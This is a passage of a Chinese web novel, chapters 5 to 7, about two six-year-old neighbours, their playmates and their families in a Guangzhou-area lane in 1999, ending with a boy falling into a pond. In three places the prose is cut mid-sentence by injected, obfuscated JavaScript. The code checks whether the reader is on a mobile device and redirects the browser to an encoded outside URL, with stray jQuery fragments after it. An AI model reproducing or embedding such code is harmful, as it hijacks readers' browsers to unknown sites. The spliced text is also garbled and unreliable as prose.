时任与白净的脸上眉头微皱,“食人鱼”这个外号是温喜盈起的,小时候她讲话还不利索,口齿含糊,总是叫不清楚自己的名字,大人怎么纠正都没用。 于是这外号温喜盈就从两岁叫到了六岁,两人之间叫叫便罢了,偏偏她还要说给别人听,久而久之双棠巷的小朋友就都知道了。 温喜盈见他们来,眼睛终于亮了起来,跳下长凳朝几人走去,时任与将吃完的冰棍棒丢进垃圾桶,默默跟过去。 “今天玩什么?”温喜盈问道。 夏天心年纪小小,架势却十足,身高又蹿得快,不知不觉就成了双棠巷小朋友眼里的大姐大,大家玩什么去哪儿玩,都由她做决定。 温喜盈喜欢当小跟班,啥也不用管就有人带着玩,所以她爱跟着夏天心。 “我们来扮《还珠格格》吧,我当小燕子,喜盈当紫薇,谁当五阿哥?” 江怀木拍了拍自己壮实的胸膛,抢先道:“我要演萧剑。” 最近电视上刚好播到主角团大逃亡的剧情,他觉得萧剑打起架来最为帅气。 话音刚落,跟在他们后头的男孩才慢腾腾地走到,怵在原地捏着手指,头快垂到地上了,看起来有些不知所措。 夏天心一把揽住他的肩,朝几人介绍道:“这是我们隔壁新搬来的邻居,他叫段储,以后我罩着了。” 温喜盈听完,杏眼圆睁,暗暗抿了抿唇,上前挽住夏天心的手,探头对着段储道:“我是天心最好的朋友,你只能当第二好。” 时任与嗤笑一声,声音很轻,却被温喜盈听到了,瞪了他一眼。 段储只是轻轻点头。 大家互相介绍过后,夏天心又张罗了起来。 “段储就演五阿哥吧,跟着我走就行了。”说完想了想,朝时任与安排道,“食人鱼演尔康。” 时任与其实对过家家并不感兴趣,要不是怕温喜盈玩太疯了,叔叔阿姨会操心,他才不想参加这种幼稚的活动。 心里这么想,面上只是漫不经心地应了声。 夏天心又喊了些附近也在玩的小朋友,总算是把大逃亡队伍凑齐。 广场的大槐树下有一排固定好的木马,因着放暑假,巷子里的小孩都跑来玩,空位不多,夏天心给大家分配好座位,安排两个人骑一辆。 温喜盈看着她骑上其中一辆木马,再让段储在身后坐下,漂亮圆润的小脸又忍不住鼓了起来。 毕竟是新来的小伙伴,妈妈说过对人要有礼貌,温喜盈也没闹,只是乖乖地在旁边的木马上坐下,抓着把手,回头瞧了眼站在一旁的时任与,大眼一转,开口道:“食人鱼,尔康要跟着紫薇一起坐。” 时任与抿了抿唇,走到她身后,屁股刚粘上座椅,木马就疯狂摇晃起来,他险些没坐住,摆了几下手才稳住身子。 见他出糗,温喜盈哈哈大笑,又继续抓着把手摇了起来,直到累得不行才提出换位置。 担心时任与报复自己,温喜盈要求他把手背到身后。 时任与乖乖照做。 温喜盈身高和他差不多,身体却不如他灵活,往常都要扶着他的肩膀才能上去,今天却偏想靠自己,于是双手抱住椅座,小肉腿踩住脚撑连蹬好几下,才总算是爬了上去。 还没来得及得意,木马突然剧烈晃动起来,比起刚才的幅度,简直是大巫见小巫,温喜盈也顾不得还在赌气,忙抓住时任与的衣摆,嚷嚷着要他停下。 时任与仿佛没听见,双手依然背在身后,大腿用力地上下踩着,茶色的眼眸带着笑意,直到周围的小朋友纷纷侧目,他才缓缓停下。 温喜盈气呼呼道:“讨厌鬼,你干什么!” 时任与回头看她,长长的睫毛垂下,愧疚道:“对不起,我以为你坐好了。” 温喜盈张牙裂嘴,正要呲他,夏天心的声音传来,骑马的戏结束了,该演下一场了,她才重重哼了一声,跳下木马喊着小燕子跑远了。 好在后面都是集体戏,一群小孩凑在一起吵吵闹闹的,温喜盈也暂时忘了和时任与的过节,玩得很是开心。 直到饭点,大人们纷纷出来催着回家,人群渐散,两人才一前一后往猪脚饭店走。 温喜盈玩的时候找到根造型奇特的木棍,边走边满意地欣赏着,时任与仍旧一副酷酷的模样,对于这种幼稚的行为很是鄙夷。 没几步路就到了温家的小店,许君竹正在灶台前给客人打包卤水。 温喜盈快跑了几步,将木棍放在门口的凳子上,抱住她的大腿,撒娇道:“妈妈!饿了!” “乖乖,饭都做好了,你们先去吃吧。”许君竹抽空拍拍她的脑袋。 来吃饭的都是熟客,温喜盈进了门,乖巧地挨个叫人,才往自家的饭桌上钻。 “温丫头又出去野了?”有个叔叔瞧见她衣领上一圈灰,调侃道。 温喜盈嘿嘿一笑,转移话题:“我带食人鱼去交朋友,不然他老一个人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723954|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 时任与不置可否,也礼貌地朝叔叔阿姨打招呼,跟在她身后坐上饭桌。 见他们乖乖拿起筷子吃饭,旁边桌子的阿姨感叹道:“这俩小孩长得是真好看,又听话懂事,吃饭都不用愁的,两家人都是有福气的。” 一旁的朋友附和:“那可不,简直是神仙孩子,真想把我家那挑食的小学生拉来看看。” 时任与听着她们的谈话,搅动手中的筷子,垂眸盯着盘里的猪脚肉,温喜盈家吃饭也和客人们一样,用盘子将米饭和肉菜都装好,一人一份,小孩吃的分量小一点。 他不理解大人们为什么会喜欢吃这个,更不理解温喜盈怎么吃得这么香,肥腻腻的肉,看着就没胃口,在温家吃饭这些天,他总是格外想念奶奶做的饭菜。 温喜盈又夹了块肉,想说些什么,可嘴里的米饭还没嚼完,只好眼巴巴地盯着时任与看,好不容易咽下去,才瞪着一双大眼道:“妈妈说不能挑食。” 时任与垂下浓密的睫毛,吃了一口米饭,淡淡道:“我没有。” 温喜盈轻哼一声,看着他盘子里一口没动的猪脚肉,圆溜溜的眼睛闪过一抹狡黠。 没多久,温喜盈盘里的肉就吃得精光,只剩下绿油油的青菜,她斜眼看了下门口的餐台,许君竹正背对着他们,在给客人打包肉菜,这才跳下椅子,凑到时任与身旁,小声道:“食人鱼,你今天害我没有冰棍吃,得补偿我。” 时任与掀了掀眼皮,兴致缺缺道:“补偿什么?” 温喜盈笑嘻嘻地动起了筷子。 许君竹忙完回到饭桌上时,两个小孩已经吃饱在一旁玩了,见盘子里的饭菜一扫而空,她惊喜道:“盈盈真棒,今天居然把青菜吃完了。” 又转头朝时任与道:“阿姨看你前两天都没怎么吃肉,还担心你不爱吃,想着明天给你们做点别的呢,实在不好意思啊,叔叔阿姨太忙了,这几天只能先给你们吃店里的肉菜,过两天招的小工来了,就能给你们做点别的换换口味了。” 温喜盈坐在凳子上,双手合十,学着电视里钻木取火的动作,抓着手里的木棍转圈,嘴里嘟囔道:“妈妈,我就喜欢吃猪脚,好吃,明天、后天、大后天我都要吃。” “好吃也不能天天吃,总得换换口味才行,不然会营养不良的。”许君竹用纸巾抹了下女儿小脸蛋上的灰,笑道,“跟任与哥哥去外面等妈妈,准备回家了。” “爸爸呢?”温广生下午教育完她,就骑着三轮车去买油和米了,店都快打烊了也不见人。 “爸爸的车半道坏了,刚修好,晚点再回家。” 温喜盈鼻头微皱,提着棍子站起身,两人走到店外,卷帘门被拉到一半,店里突然传来电话铃声,许君竹钻进去接电话。 时任与侧头看着温喜盈,盛夏酷暑难耐,才离开电风扇一小会,她已经开始出汗,白嫩的小脸上红扑扑的。 他抿了抿唇,开口道:“不是我告诉叔叔的。” 温喜盈还在把玩着木棍,听见他的话动作一顿,将脸别到一边:“骗子,我才不相信。” 时任与嘴巴张了张,正想说什么,卷帘门内传来的光线暗下,许君竹利落地从门内钻出,探出半个身子。 “盈盈,先跟哥哥回家去。” 5. 第五章 严格意义上来说,温喜盈确实该叫时任与一声哥哥,别说两人是相差一天出生的,她还是早产儿,原本预产期该比时任与晚一个月的。 这六年里,她偶尔也会叫几声哥哥,不过只限于有事相求,像是今天这种情况,两人闹着别扭,她连正眼都不想给一个。 只不过迫于妈妈的眼神,温喜盈还是乖乖被时任与牵着。 温广生从杂货铺来了电话,说是米油买到了,半个钟后回来,让许君竹在店里等着,她只好让两个孩子先回去。 双棠巷不大,住着约几百户人家,民风淳朴,楼与楼之间间隔也不远,邻里关系亲近,温时两家是对门,就在饭店不远处的楼栋,这会才刚过八点,不少人家都搬着小板凳在楼前乘凉。 温喜盈一路笑眯眯地叫人,一直到自家楼栋前,才甩开时任与的手,自己吭哧吭哧地踩着台阶上楼。 两家人住在五楼,爬到三楼时,周围一下暗了下来,温喜盈往上抬的步伐顿住,她想起来了,三楼的袁阿姨一家回乡下探亲,门口的灯坏好几天了也没人修。 时任与落后几步,一转弯瞧见她僵住的背影,想起下午的木马,防备道:“干嘛?” 温喜盈回头,一双大眼在黑暗中亮晶晶的,她抬起下巴扬声道:“妈妈说了,要我们一起手牵手回家,你怎么走这么慢?” 时任与不解:“不是你自己先跑的吗?” “还不是你太慢了。”温喜盈一边嘟囔,一边抓着他的手。 时任与酷酷的小脸上满是嫌弃,手却没有动弹,走到五楼,温喜盈才松手,安静站在一旁等着他开门。 时任与踮着脚尖,刚把钥匙插进锁孔里,防盗门里的木门就被拉开,一个窈窕倩影出现在门内。 “林阿姨!”温喜盈甜甜喊道。 “回来了?”见是俩小孩,林傲霜眼里闪过失落,推开门让他们进去。 时任与喊了声妈妈,只听见一声轻轻的回应,再抬头准备说些别的时,林傲霜已经走进主卧了。 傅梅在房间里听见动静,朝着门外唤道:“是不是小与回来啦?” 温喜盈刚撕开粉色小凉鞋上的粘扣带,听到傅奶奶的声音,两只脚蹦了蹦快速甩开鞋子,光着脚丫就往房间里跑,人还没到,清脆的声音已经响起。 “奶奶,我也来了!” 傅梅的声音从房里传来,透着一股喜悦:“哎哟,我的乖盈盈也来啦,好几天没见了,让奶奶看看是不是又漂亮了。” 时任与抿唇,将自己的鞋子放进鞋柜,穿上拖鞋,又将粉色小鞋拿起摆正,才慢悠悠地走进老人的房间,就见温喜盈已经大半个身子钻上床塌,留一双灰扑扑的脚丫子在半空晃荡。 “奶奶,你今天怎么样了?”时任与走过去,开口问道。 “奶奶好多了,就是这老身子骨的,不容易好,还得再躺躺。”见孙子进来,傅梅一边拍着温喜盈的背,一边笑呵呵道,眼角的细纹印出几分柔和,岁月不败美人,即使过了知天命之年,也能从慈眉善目的神情中窥见些许年轻时的姣好容颜。 她是个明事理的长辈,心里知道自己年纪渐长,既然受伤便好好养着,也不强撑着起来干活,免得落下病根,将来反倒给小辈添麻烦。 “奶奶才不老呢,等你好了,盈盈还要带你去探险,我今天又发现了一个大宝藏。”温喜盈献宝似的,一脸得意。 “我们盈盈就是厉害,什么宝藏呀?”傅梅很是配合。 时任与双手一撑跳上床尾,捏了捏傅梅没受伤的另一只腿,俊朗的小脸露出不屑:“幼稚鬼。” 温喜盈瞪他一眼,气呼呼地跑去客厅拿宝藏了。 “奶奶,我帮你按摩。” 时兴望虽然没时间亲自照顾母亲,心里还是惦记着的,找了双棠巷开中医馆的老先生,三天来一次,给傅梅松松筋骨,免得躺太久肌肉退化了。时任与每回都在一旁瞧着,看过两次便记在了心里,每天回家都要给奶奶捏一捏。 六岁小孩哪有什么力气按摩,只不过孙子乖巧懂事,傅梅也乐在其中,面上总少不了夸上几句,时任与平时再怎么装小大人,得了夸奖也还是孩子样,嘴角都快翘到天上去了。 祖孙俩聊了会,温喜盈才抱着木棍走进门,担心上面有木刺会掉在傅梅床上,她还特意抽了两张纸,在卫生间沾水擦了擦,浅木色因为湿润变成了深色。 “看!这是我今天新找到的神龙棍!”温喜盈高举木棍,一手叉腰,站在门口神气道。 傅梅夸张地哇了一声:“长得确实很像一条龙,盈盈真有眼光。” 温喜盈嘿嘿一笑,走到时任与面前晃了晃木棍,高抬下巴哼了一声,到床头献宝似的给傅梅看。 房间外不时传来嘻嘻哈哈的笑闹声,林傲霜靠在床头,橘黄色的灯光依然盖不住她清冷的目光,手里的书已经很久没翻页了,她随手拿了张书签合上,走到窗户前,看着楼下坐在长椅上的身影,思绪有些恍惚。 - 时钟指向十点,温喜盈玩累了,斜靠在床头昏昏欲睡,许君竹才到时家接人。 “妈妈,困。” 许君竹长相温婉,身材瞧着也娇弱,可力气却很大,轻松地将女儿抱进怀里,往床头柜上放了个保温壶,朝傅梅道:“不好意思啊,又麻烦您了,晚上在店里趁空煲了点猪骨汤,这保温壶是盈盈她爸去百货大楼买的,能管十几个小时,这汤您明早起来喝。” “邻里邻居的,这么客气做什么,我还得感谢你们帮忙照顾小与呢,他爹妈都忙,我这一受伤,最受苦的就是孩子。”傅梅看了眼已经靠在床尾睡着的孙子,眼里满是心疼。 许君竹摆手:“您放心,这段时间,小与就交给我们了,盈盈带着他一块玩,可好了。” 两人又闲聊了几句,许君竹才抱着已经睡过去的女儿离开了。 听着脚步声渐远,时任与睫毛微颤,缓缓睁开双眼,睡眼惺忪道:“奶奶,我去洗澡睡觉了。” “去吧,睡觉记得盖好被子。”傅梅慈爱地摸了摸孙子的脸。 时任与轻轻点头,爬下床套上拖鞋,转身离开时,手背往眼角蹭了蹭。 和傅梅告别后,路过主卧时,许君竹敲门的手抬起又落下,想了想,最终还是放弃了打招呼的想法,径直走出屋门,替主人家将两道门关好。 说起来,她和林傲霜的确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723955|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很少有交集。 许君竹家往上数三代都住在双棠巷,这老房子是父母当年在国营厂工作时分配的,二老临近退休时,正赶上下岗潮,便顺势提前几年退下来,厂里分了套养老房做补偿,这套房子就留给女儿女婿做婚房了。 她怀温喜盈那年,对门举家移民去美国,空下来的房子被时兴望买了下来,不久后一家四口就搬了进来,成了他们的新邻居。 那时温广生心疼她孕期身子不适,不让她干粗活累活,店里生意都是他自己忙活,她一人待在家里也是无聊,便想着和新邻居多亲近下,也方便日后互相照应。 得知对门女主人也怀着肚子,许君竹心底挺高兴的,都是第一次当妈妈的人,应该有不少话题能聊。 可惜林傲霜不是个爱说话的人,两人在楼道里寥寥几次见面,她都只是礼貌地点头回应,留一道孤傲的背影,尽管怀着孕,她还是每天早出晚归,照常上班,倒是让许君竹有些羞愧,觉得自己太娇气。 好在傅梅是个热心肠的,时不时就来敲门送吃食,还都是孕妇适合吃的,许君竹心里欢喜,吃过后也送些自家店里的卤肉过去,一来二去的,两家也逐渐熟络起来,只是时兴望夫妻俩工作似乎都很忙,除了偶尔撞见打声招呼,再没有深入的交流了。 对于时家,许君竹都是从和傅梅闲谈中了解到的。 傅梅和丈夫都是农民,一共生了三个孩子,两男一女,小儿子和女儿都在外地读书后成了家,丈夫因病去世后,她便跟着大儿子时兴望一块生活。 时兴望为人刚正良善,又很孝顺,只是一门心思想着赚钱,快二十八了也没谈朋友,傅梅心里着急,托了媒人介绍,相中比儿子小两岁的林傲霜,家世清白,也是农民出生,独自一人在穗城打拼生活,现在私人服装厂当车间女工。 两人见了几次面,也算互相看对眼,没多久便领证结婚,一年后怀上孩子,原先的两居室不够住了,夫妻俩看房时瞧着双棠巷附近设施便利,周围学校从幼儿园到高中都有,离穗城最好的百货大楼还很近,便咬咬牙花光了积蓄,才买下这套房。 想起俩人早出晚归的,连孩子也没时间亲自带,同样为人母的许君竹也有恻隐之心,谁家父母不想给孩子最好的?他们努力赚钱,也是给温喜盈更好的生活。 于是她不免地也会多照顾几分时任与,两个孩子牙牙学语时便天天在一块,会跑跳以后,她有事没事便叫女儿喊人过来吃点心玩玩具,等到再大一些,温喜盈满巷子乱跑时,她就嘱咐女儿带着对门哥哥一块玩。 许君竹看得出来,那孩子虽然不爱说话,心思却细腻敏感,能看住玩起来没个把门的女儿,而女儿天生大大咧咧的,两人多待在一起,反倒能让他感染几分孩子应有的童真。 从时家走出来时,温广生已经开好自家门,正在门外等着,见她出来,伸手将女儿抱了过来,转身走进屋内。 许君竹看着父女俩的背影,轻叹了口气,丈夫虽然时常在为人处事上犯点小错误,好在还是顾家的,想到乖巧可爱的女儿,她一下觉得心头热热的。 日子嘛,都是比较出来的,瞧着东家难西家苦的,也便觉得自己该知足了。 6. 第六章 温广生把女儿放到床上后,许君竹便让他去热牛奶,自己拿着脸盆和暖壶走进房间,将热水倒好,试了下水温,才把毛巾沾湿,替女儿擦拭身体换衣服。 温热的毛巾擦去一身黏腻的湿汗,温喜盈舒服地哼唧了两声,迷迷糊糊地睁开眼,低低叫了声:“妈妈。” 许君竹提她换上背心睡衣,打开一旁的风扇转向床尾,摸了摸女儿细软的头发,柔声道:“乖乖,一会喝了牛奶再睡。” 温喜盈是早产儿,出生时小小一个,连呼吸都很微弱,在医院住了一个月才平安出院,此后的一年里,打针吃药是家常便饭,每每看着女儿在怀里哭得撕心裂肺,她都心如刀绞。 为着养好孩子的身体,许君竹费了不少力气,成天变着花样给她补充营养,眼看着女儿从一个皱巴巴的瘦弱小孩,变成如今活泼乱跳,小脸红润的样子,她心里成就感十足。 温广生拿着牛奶进来时,女儿正窝在妻子怀里撒娇,不知说了什么悄悄话,笑得发出咯咯声。 见他进来,温喜盈收起了笑意,将脸别到一边。 温广生把牛奶放在床头,赔笑道:“还生爸爸气呢?盈盈,那池塘边太危险了,爸爸是怕你掉进去了。” 温喜盈自知理亏,但还是对那根冰棍耿耿于怀,头往许君竹怀里钻,藏住自己的小脸,嘟嘴道:“我都知道错了,你还罚我不准吃冰棍。” “下午是爸爸太着急了,不该那么凶,明天补偿你两根冰棍,行不行?来,先把牛奶喝了。” 温喜盈这才探头看向温广生,他长得浓眉大眼的,一个身强力壮的男人,此刻脸上却扬着讨好的笑,生怕女儿真的不理自己了。 闻着牛奶香,温喜盈开心了,朝着爸爸嘿嘿一笑,抱住杯子一口口抿进嘴里,边喝边分享起白天在外面玩了什么。 一家三口有说有笑的,直到温喜盈沉沉睡去,许君竹才把女儿放到床上,盖好被子,回头发现丈夫已经走出去了。 - 第二天温喜盈一起床,就闹着要去买冰棍,许君竹挑了套天蓝色的碎花背心和短裤给她套上,叮嘱温广生带她先吃早餐才能吃冰棍。 温喜盈梳洗穿戴好,跟妈妈道别后拉开大门,时任与已经在门口等着了,身后是背着挎包的林傲霜。 自从傅梅卧床后,每天他都会在温家吃完早饭,再跟着他们一起去店里。 猪脚饭店做的是午晚餐生意,不用起太早,难得这个点还能见到邻居,温广生眼里闪过一丝惊讶,才和她打了声招呼。 林傲霜微微点头回应,低头轻抚时任与的发顶,朝他道:“跟着叔叔乖乖的,妈先去上班了。” 时任与应了声,看着她悠悠下楼的背影,手不自觉地抓了抓自己的头顶,似乎还遗留着母亲手掌的温度。 温广生一手牵着一个,正要往楼下走,许君竹的声音从门内传来。 “等等,外边蚊子多,喷点花露水。”许君竹手里拿着喷雾,往女儿露在外面的小白肉喷了喷,又往时任与身上喷了加倍的量。 说来也怪,温喜盈从小就是招蚊子的体质,一到夏天总是要长包,可是只要时任与在身旁,蚊子就都跑他身上去了,温喜盈在一旁愣是半点不会被咬,想到这里,许君竹心底有些愧疚,晃了晃瓶身,又往他手上多喷了些。 时任与被突如其来的浓香呛到鼻子,忍不住打了个喷嚏。 见他出糗,温喜盈在一旁嘻嘻地笑,发现他看了过来,悄悄吐舌头做了个鬼脸。 一番操作完,三人总算能出门了。 吃过早餐,温广生给两人分别买了根冰棍,温喜盈挑了草莓味的,时任与则拿了绿豆味的。 到了店里,猪肉铺老板刚好送了肉过来,温广生付完钱提进去清洗,两人像往常一样,一人一边坐在店门口的长条凳上,边上的餐饮店都在做开店准备,除了洗碗的咣当响声,只剩下两人呲溜冰棍的声音。 直到冰棍被吃完,都没人主动说话。 温喜盈嘴里叼着木棍,还是没忍住开口,话里带着浓浓的遗憾:“天心今天跟她爸爸妈妈去游乐园,江怀木要去外婆家,段储刚来对这里不熟,应该不会出来,只有我们两个一起玩了。” “你怎么天天就想着玩,叔叔阿姨很辛苦,我们可以帮帮他们。”时任与转头看她,一副小大人的口吻。 温喜盈不爱听他说教,但想起妈妈前两天腰痛的样子,也觉得有几分道理,于是将嘴里的木棍递给他,跳下长椅边跑进店里,边喊:“爸爸,我帮你洗猪猪。” 时任与顺手将两根木棍丢进垃圾桶,也走进去帮忙了。 等到许君竹做完家务到店里时,见到的便是两人坐在小板凳上,面前是一个大塑料盆,盆里都是些干净的碗盘,时任与拿着布在认真搓洗,温喜盈则在戳洗洁精飘出来的泡沫。 “这又是在演哪出?”许君竹把包放好,走进厨灶间洗手,朝一旁的丈夫问道。 “俩孩子懂事,说要帮忙干活,哪有活给他们干呀,就只能给几个碗让他们玩玩了。”温广生正在做卤料,头也没抬地回道。 许君竹笑道:“肯定是小与的主意,这孩子真是早慧。” “盈盈也挺乖的,还是她主动来说的。” 灶台前的玻璃外面,温喜盈捧着一手泡沫,凑到嘴边吹了口气,成群的泡沫变成了小泡泡,在空中飘了半秒,就被她用小短手一个个戳破,一旁的时任与小脸一皱,默默用抹布将她不小心溅到地上的泡沫擦了擦。 许君竹笑着看完这一幕,擦干净手开始剥鸡蛋。 临近中午时,店里慢慢来了些客人,时任与跟在许君竹身后,等她把客人要的菜打好,再伸手接过端到客人桌上。 “小与真懂事,阿姨来就行了,你去坐着休息吧,一会给你们做午饭吃。” “阿姨我不累。” 温喜盈还坐在凳子上玩泡泡,听见妈妈的夸奖声,杏眼往时任与身上瞟,正午太阳当空,虽然店里开着吊扇,但干坐着都闷,一动起来更是热得不行,他来回跑了几趟,额头已经开始冒汗珠。 “我也要帮忙。” 她把手往一旁的水盆里随意一泡,拖着湿哒哒的手就想起身,被路过的时任与一下子按了回去。 “先把手洗干净。”时任与打开一旁的水龙头,监督她洗手。 一旁吃饭的阿姨瞧见了哈哈大笑:“盈盈这可不行,人家都是妻管严,你怎么老被这小子管着。” 温喜盈听不懂什么是妻管严,但听懂了阿姨是在调侃她,轻轻哼了一声,把手洗净擦干,哒哒跑去灶台前端菜。 她一定要端得比食人鱼又多又快! 就这样,两人一整天都待在店里,帮着端菜洗碗,虽然大部分时候温喜盈都是打会渔再晒会网,但一天下来,不仅得到了爸爸妈妈和客人们的赞扬,明天还能再吃两根冰棍! 温喜盈心里得意得不行。 两人刚吃完晚饭,正坐在店门口嗦着冰棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723956|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就听见一声清脆的喊叫声。 温喜盈抬头看去,夏天心几人正往这边跑。 “快走快走,去巷口,有辆大货车运来了好多台大家伙。” “妈妈,我跟天心出去玩了。”温喜盈跳下木凳,牵住夏天心的手,刚朝店内喊完,就被她拽着跑了出去,不一会便消失在拐弯处。 段储见状,也在她们屁股后头小跑着跟过去。 江怀木则很是激动:“食人鱼,那些游戏机和电影里长得一模一样。” 时任与茶色的眼眸一亮,站起身跟着他往巷口走,步伐比起平时明显加快了不少。 1999年的夏天,双棠巷开了第一家游戏厅,据说老板是从香港回来的,运来的街机都是些进口货,还有几台大陆罕见的游戏主机,不少游戏卡带是整个穗城也没见过的。 只是几个小孩都还没上小学,站起来还没有的游戏机高,只能玩一些儿童向的机器,老板还给未成年们都限定了游玩时间,但也足够他们兴奋一整个暑假。 于是,幼儿园毕业的这个夏天,温喜盈就在给爸妈帮帮小忙,在大槐树下跟着夏天心一行人上蹿下跳,在游戏厅里和大伙玩马里奥和跳舞机,在和时任与偶尔的赌气中度过了。 暑期即将结束这天,时任与早早就起床,从衣柜里掏出短袖短裤,给自己换好衣服,踩着小板凳刷完牙,从保温瓶里倒了两杯热水,一杯给自己喝,一杯放在了还在熟睡的奶奶床前。 刚从傅梅房间出来,门口就传来钥匙开门的声音。 林傲霜提着袋子和包,一脸疲倦地走进门,见时任与愣在原地,嘴角难得上扬,说道:“小与起床了?过来,昨天给你买了衣服和鞋子鞋,试试吧。” 时任与食指摩擦着裤子上的布料,有些无所适从。 自他记事起,除了偶尔的一家人聚餐,妈妈几乎就很少笑,更别说对着他这样和颜悦色。 “好。”他应了声,带了几分隐隐的雀跃,走过去试鞋子。 鞋子松了半个码,但时任与没说出来,只是剁了剁脚,在门口来回走了几步,抬头对着带了几分期待的母亲道:“谢谢妈妈。” “不客气,今晚爸爸回家,我们一起出去吃饭,晚上早点回来。”林傲霜浅笑道。 时兴望是货车司机,经常要跑外地运货,一个月最多回来一次,其实并非完全没时间回家,只是他总说,想多赚点钱,在货车驻停地住着方便,那附近常有工厂老板来,单子多,于是一单接一单,时间长了回家次数也越来越少。 时任与眼里闪过惊喜,乖乖点头。 林傲霜昨晚在车间加班赶工,熬了个通宵,脸色虽然有点苍白,心情却很好,她摸了摸时任与的头,把另一个袋子里的衣服递给他,让他自己去试,便回房洗澡休息了。 于是温喜盈被爸爸牵着走出门时,看到的便是穿了一身新衣新鞋的时任与。 他遗传了林傲霜的一双凤眼,白净的小脸上五官端正,安安静静站在那里像个瓷雕的娃娃。 鬼使神差地,温喜盈甩开爸爸的手,踩着凉鞋走过去,肉乎乎的手往他脸上轻轻一捏,咧着嘴笑道:“食人鱼,你今天真好看。” 时任与全身一僵,皱着眉头不说话。 温喜盈却像是开发了新天地,又忍不住捏了两下,松松软软的,像巷子里小卖部卖的棉花糖。 直到被温广生催着下楼,她才舍得松开手,留下时任与站在原地,脸颊被捏得红彤彤的。 7. 第七章 明天便是双棠小学新生入学体检了,今天是他们最后一天假期,按照约定,几个小伙伴吃过午饭就来了广场,听时任与说晚上要早点回去,夏天心立马安排起来。 温喜盈提议玩鬼抓人,被“鬼”抓到的第一个人,要给那个“鬼”当一天的小弟,几人在广场又找了几个伙伴,一群人跑了整整一个下午,弄得衣服上全是湿汗。 最后一轮终于到温喜盈当鬼了,她眼里满是兴奋,站在广场中央捂着眼睛开始数数。 只是一双小肉手在数到“2”时就开始不老实,偷偷开了个缝眯着眼睛看,正好锁定了她最想找的人,数到30秒,她就开始出发找人了。 方向很明确,她几乎没有犹豫就往正前方跑去。 双棠巷有一片池塘,池水不算深,但也有个一米多,夏天总有小孩到边上玩水,被不少家长明令禁止过,于是池塘成了整个双棠巷最人烟稀少的地方。 温喜盈面上答应得很好,背地里其实偷偷跑去过几次,时任与刚才躲藏的地方,就是去池塘的方向,她脑海里就出现了上回被温广生罚的那根冰棍。 她这小孩健忘,闹点小矛盾过个几天就抛之脑后了,想起这事倒不是要和时任与置气,只是突然记起了那次闹矛盾的真正原因。 温喜盈越接近池塘,心里就越发心虚,这会天还没暗,月亮已经悄悄爬到半空,夕阳在远处遥相辉映,池塘边上是一片小草坪,周围一个人都没有,她大着胆子往前走。 前面的草丛突然动了下,温喜盈嘿嘿一笑,跑过去准备抓人,手还没伸出去,就见一个人影站了起来,突然脚下一滑,整个身子往背后倒去。 砰地一声—— 池塘激起水花,时任与拍着手臂在水里扑腾。 几乎是一瞬间,温喜盈飞似地跑向离池塘最近的一家店铺。 不一会儿,几个大人就往池塘边赶,其中一个年轻男子脱了衣服就往池子里跳,池水对于成年人来说很浅,很快就把时任与抱住往岸边游。 大家纷纷围过来,一脸关切地看着浑身湿哒哒的小孩。 好在温喜盈反应快,大人来得也及时,他只是呛了几口水,但仍有些惊魂未定,坐在草地上一口一口大喘气。 “喜盈,你快回去喊他爸妈来。”下池子救人的叔叔说道。 温喜盈点点头,担心地瞟了眼时任与,便飞快往自家的楼栋跑。 时任与回过神来,发现右脚空空如也,眼里闪过慌张,转身看向池塘,有一只鞋正在上面飘着,他伸手抓住一旁x的大人,声音里带了几分颤抖:“叔叔,可以帮我把鞋子弄上来吗?” - 温喜盈跑回家里的路上,偶遇到躲累了自己走出来的小伙伴。 “我和食人鱼要先回家吃饭了,不玩了,你们也都回去吧。”温喜盈喊住他。 小伙伴不疑有他,跑去和其他人传话了。 温喜盈说完立马转身,用手背擦了擦眼角的泪水,继续往前跑。 时兴望和林傲霜赶来时,时任与已经裹上了毛巾,见夫妻俩来了,一旁的男人开口道:“孩子没什么大事,不过你们心也太大了,给孩子买的鞋都大了半个码,想不摔倒都难。” “就是,你们夫妻忙工作能理解,那也不能一点都不管呀,前两天我就发现这孩子的鞋底破了个洞,今天瞧着换了新衣新鞋还挺精神,刚才仔细一瞧,不止鞋子大了,裤腰也是大的。”有人附和道。 双棠巷邻里关系都挺好,大家讲话都是直言不讳,虽然他们夫妻不常出现,但傅梅和他们还是很熟的,一着急讲起话来也没了太多顾忌。 林傲霜闻言一愣:“怎么会呢?早上试的时候还好好的。” “你怎么当妈的?连孩子的鞋码都搞不清楚。”时兴望皱着眉头,抱怨道。 他今天刚从外地送完货回来,这一趟货拿了不少钱,还顺带着签了个大单,原本心情不错,想着回家带孩子下馆子,没想到屁股还没坐热乎,就得知儿子差点溺水,还要被外人指责。 